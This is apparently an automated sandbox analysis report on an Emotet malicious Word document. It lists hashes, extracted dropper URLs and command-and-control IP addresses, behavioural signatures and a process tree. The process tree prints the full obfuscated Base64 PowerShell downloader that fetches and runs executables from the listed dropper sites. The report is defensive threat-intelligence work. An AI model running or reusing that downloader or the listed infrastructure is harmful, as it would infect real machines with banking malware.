emotet | 2266dbbb77a605eb9fa60593582a7a364dbdfea40398654e94f4c17c05b15faa

Analysis

max time kernel
135s
max time network
150s
platform
windows10_x64
resource
win10
submitted
21/08/2020, 07:10

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General

Target
emotet_e2_2266dbbb77a605eb9fa60593582a7a364dbdfea40398654e94f4c17c05b15faa_2020-08-21__070929._doc.doc
Size 185KB
Sample200821-b3mkb53psx
SHA256 2266dbbb77a605eb9fa60593582a7a364dbdfea40398654e94f4c17c05b15faa
MD5 0aeeeb356e37a2f79115febb31c163d1
SHA1 a8c96e09e57c5a0367c7c95f7893c2df41c1f067
SHA512 651701cbe6326412446b9752da857e399f76681bf1963e35953d0412e4f72dd3c658fad72e34624dba0cf10ae5a46f475df850fe3a52aac48f71441cd038df6c
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://planetbolt.com/wp-includes/g4/
exe.dropper
https://reikirelax.xyz/temp/3a/
exe.dropper
http://suzukistallion.com/web/OuGmx/
exe.dropper
http://www.rupeefriend.com/cgi-bin/B8o7V/
exe.dropper
http://szoboszlorhinos.hu/available-array/8ET0E/
exe.dropper
http://sujest.com/tv/6CyPKSX/
exe.dropper
http://t-infinity.com/sites/Hfaev/

Extracted

Family

emotet

70.121.172.89:80
116.202.234.183:8080
69.30.203.214:8080
185.94.252.104:443
64.183.73.122:80
190.55.181.54:443
37.70.8.161:80
174.137.65.18:80
203.153.216.189:7080
109.116.214.124:443
93.51.50.171:8080
190.160.53.126:80
222.214.218.37:4143
87.106.136.232:8080
113.160.130.116:8443
174.102.48.180:80
79.98.24.39:8080
189.212.199.126:443
89.186.91.200:443
24.233.112.152:80
181.230.116.163:80
85.152.162.105:80
104.131.11.150:443
153.163.83.106:80
68.44.137.144:443
97.82.79.83:80
85.105.205.77:8080
104.236.246.93:8080
24.43.99.75:80
199.101.86.142:8080
74.120.55.163:80
176.111.60.55:8080
47.144.21.12:443
109.74.5.95:8080
47.146.117.214:80
116.203.32.252:8080
98.109.204.230:80
173.62.217.22:443
107.185.211.16:80
61.19.246.238:443
5.196.74.210:8080
200.41.121.90:80
91.211.88.52:7080
24.137.76.62:80
85.66.181.138:80
70.167.215.250:8080
203.117.253.142:80
204.197.146.48:80
142.105.151.124:443
167.86.90.214:8080
139.130.242.43:80
157.147.76.151:80
187.161.206.24:80
137.59.187.107:8080
81.2.235.111:8080
95.213.236.64:8080
201.173.217.124:443
87.106.139.101:8080
93.147.212.206:80
24.179.13.119:80
152.168.248.128:443
95.179.229.244:8080
41.60.200.34:80
139.59.60.244:8080
2.58.16.85:7080
46.105.131.79:8080
78.24.219.147:8080
75.139.38.211:80
168.235.67.138:7080
110.145.77.103:80
62.75.141.82:80
68.188.112.97:80
180.92.239.110:8080
104.131.44.150:8080
67.205.85.243:8080
103.86.49.11:8080
74.208.45.104:8080
37.187.72.193:8080
157.245.99.39:8080
37.139.21.175:8080
5.39.91.110:7080
209.141.54.221:8080
188.83.220.2:443
169.239.182.217:8080
83.169.36.251:8080
121.124.124.40:7080
200.114.213.233:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3588	3796	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/556-15-0x00000000004F0000-0x00000000004FC000-memory.dmp	emotet
behavioral2/memory/556-15-0x00000000004F0000-0x00000000004FC000-memory.dmp	emotet
behavioral2/memory/368-18-0x0000000000750000-0x000000000075C000-memory.dmp	emotet
behavioral2/memory/368-18-0x0000000000750000-0x000000000075C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
9	3588	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
556	An9saa.exe
368	cscapi.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\wkspbrokerAx\cscapi.exe	An9saa.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2808	WINWORD.EXE
2808	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3588	powersheLL.exe
3588	powersheLL.exe
3588	powersheLL.exe
368	cscapi.exe
368	cscapi.exe
368	cscapi.exe
368	cscapi.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3588	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
2808	WINWORD.EXE
556	An9saa.exe
556	An9saa.exe
368	cscapi.exe
368	cscapi.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3588 wrote to memory of 556	3588	powersheLL.exe	74
PID 3588 wrote to memory of 556	3588	powersheLL.exe	74
PID 3588 wrote to memory of 556	3588	powersheLL.exe	74
PID 556 wrote to memory of 368	556	An9saa.exe	75
PID 556 wrote to memory of 368	556	An9saa.exe	75
PID 556 wrote to memory of 368	556	An9saa.exe	75

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_2266dbbb77a605eb9fa60593582a7a364dbdfea40398654e94f4c17c05b15faa_2020-08-21__070929._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2808

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABGAGkANgA2AHUAcAA1AD0AKAAnAEQAJwArACcAMQBmADcAMQBjAHgAJwApADsALgAoACcAbgBlACcAKwAnAHcALQBpACcAKwAnAHQAZQBtACcAKQAgACQARQBuAFYAOgBUAGUATQBwAFwAbwBGAEYAaQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIAZQBDAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBgAGMAVQByAEkAYABUAFkAYABwAHIAbwBUAG8AQwBPAEwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAJwArACcAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAJwArACcAbABzACcAKQA7ACQAUgA3AHgAZgBuAHUAaQAgAD0AIAAoACcAQQBuADkAcwBhACcAKwAnAGEAJwApADsAJABBADkAagA3AG0AeQB1AD0AKAAnAE4AZgAnACsAJwB6AHgAXwAnACsAJwAxADYAJwApADsAJABHAHUAawBtAGMAdgBmAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwBZAFcAcgBPACcAKwAnAGYAZgBpAGMAZQAyADAAMQA5AFkAJwArACcAVwAnACsAJwByACcAKQAtAEMAUgBlAHAAbABBAEMARQAgACgAWwBjAGgAYQByAF0AOAA5ACsAWwBjAGgAYQByAF0AOAA3ACsAWwBjAGgAYQByAF0AMQAxADQAKQAsAFsAYwBoAGEAcgBdADkAMgApACsAJABSADcAeABmAG4AdQBpACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABWADIAbgBoAG4AcABrAD0AKAAnAFAAaQAnACsAJwByAGUAYQB3ADIAJwApADsAJABTADIAdQBnAGIAawBtAD0ALgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAHcAZQBCAGMAbABJAEUAbgB0ADsAJABQAGQAdwB2AGgAbAAxAD0AKAAnAGgAJwArACcAdAB0AHAAcwA6AC8AJwArACcALwBwAGwAYQBuACcAKwAnAGUAdABiAG8AbAB0AC4AYwBvAG0AJwArACcALwAnACsAJwB3AHAALQBpAG4AJwArACcAYwBsAHUAZABlAHMALwAnACsAJwBnADQALwAqAGgAdAB0AHAAcwA6AC8ALwByACcAKwAnAGUAJwArACcAaQAnACsAJwBrAGkAcgBlAGwAYQAnACsAJwB4AC4AeAAnACsAJwB5ACcAKwAnAHoALwB0AGUAbQBwAC8AMwBhAC8AKgBoACcAKwAnAHQAdABwADoALwAvACcAKwAnAHMAdQB6AHUAawAnACsAJwBpAHMAdABhAGwAbABpAG8AbgAuAGMAbwBtAC8AdwBlAGIALwAnACsAJwBPACcAKwAnAHUARwBtAHgALwAqAGgAdAB0AHAAOgAvACcAKwAnAC8AdwB3AHcALgByAHUAJwArACcAcABlACcAKwAnAGUAZgAnACsAJwByAGkAZQBuACcAKwAnAGQALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBCACcAKwAnADgAbwA3AFYALwAqAGgAdAB0AHAAOgAvAC8AcwB6AG8AYgBvAHMAegBsACcAKwAnAG8AcgAnACsAJwBoAGkAbgBvAHMALgBoAHUALwBhAHYAJwArACcAYQBpACcAKwAnAGwAYQBiAGwAZQAtAGEAcgByAGEAeQAnACsAJwAvADgARQBUADAARQAvACoAaAB0AHQAcAA6AC8ALwBzAHUAJwArACcAagBlACcAKwAnAHMAJwArACcAdAAnACsAJwAuAGMAbwBtAC8AdAB2AC8AJwArACcANgAnACsAJwBDAHkAUAAnACsAJwBLAFMAWAAvACcAKwAnACoAJwArACcAaAB0ACcAKwAnAHQAcAA6AC8ALwB0AC0AaQAnACsAJwBuACcAKwAnAGYAaQBuAGkAdAB5AC4AYwBvAG0ALwBzAGkAdABlAHMALwBIAGYAJwArACcAYQBlAHYALwAnACkALgAiAFMAUABgAGwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARgB1ADUAOABsAHQAcwA9ACgAJwBQADUAJwArACcAeAAxAGIAcQB4ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEIAbgBxADYAaQB1AHoAIABpAG4AIAAkAFAAZAB3AHYAaABsADEAKQB7AHQAcgB5AHsAJABTADIAdQBnAGIAawBtAC4AIgBkAE8AVwBgAE4AbABgAG8AQQBEAEYAYABJAGwARQAiACgAJABCAG4AcQA2AGkAdQB6ACwAIAAkAEcAdQBrAG0AYwB2AGYAKQA7ACQARgAyAGUAMgB5ADQAbAA9ACgAJwBSACcAKwAnAHgAawBkAGgAcAA3ACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACAAJABHAHUAawBtAGMAdgBmACkALgAiAGwAYABlAGAATgBHAHQAaAAiACAALQBnAGUAIAAzADcAOQA2ADUAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAbwBrAGUALQBJACcAKwAnAHQAZQBtACcAKQAoACQARwB1AGsAbQBjAHYAZgApADsAJABZAHAAcQA4ADkAbABrAD0AKAAnAEMAeAB0ACcAKwAnADQAJwArACcAdQB2AGYAJwApADsAYgByAGUAYQBrADsAJABBADkAagBzAF8AZABwAD0AKAAnAEYAagB5AGoAJwArACcAbwAnACsAJwBjAGYAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABUAGwAZABiAGgAdQBrAD0AKAAnAFYAcgAnACsAJwB1AGcAJwArACcAMwA0AGUAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3588
- C:\Users\Admin\AppData\Local\Temp\Office2019\An9saa.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\An9saa.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:556
- - C:\Windows\SysWOW64\wkspbrokerAx\cscapi.exe
    "C:\Windows\SysWOW64\wkspbrokerAx\cscapi.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:368

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/368-18-0x0000000000750000-0x000000000075C000-memory.dmp

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memory/556-15-0x00000000004F0000-0x00000000004FC000-memory.dmp

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memory/2808-4-0x000001F5D93E1000-0x000001F5D93E4000-memory.dmp

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memory/2808-8-0x000001F5D9510000-0x000001F5D9513000-memory.dmp

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memory/2808-7-0x000001F5D9510000-0x000001F5D9513000-memory.dmp

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memory/2808-6-0x000001F5D7026000-0x000001F5D7028000-memory.dmp

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memory/2808-5-0x000001F5D93E1000-0x000001F5D93E4000-memory.dmp

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memory/2808-0-0x00007FFBF3170000-0x00007FFBF3836000-memory.dmp

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memory/2808-3-0x000001F5D93DE000-0x000001F5D93E1000-memory.dmp

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memory/2808-2-0x000001F5D93E1000-0x000001F5D93E4000-memory.dmp

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memory/2808-1-0x000001F5D93DE000-0x000001F5D93E1000-memory.dmp

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memory/3588-9-0x00007FFBEB5B0000-0x00007FFBEBF9C000-memory.dmp

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memory/3588-10-0x000001A2A6800000-0x000001A2A6801000-memory.dmp

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memory/3588-11-0x000001A2A69B0000-0x000001A2A69B1000-memory.dmp

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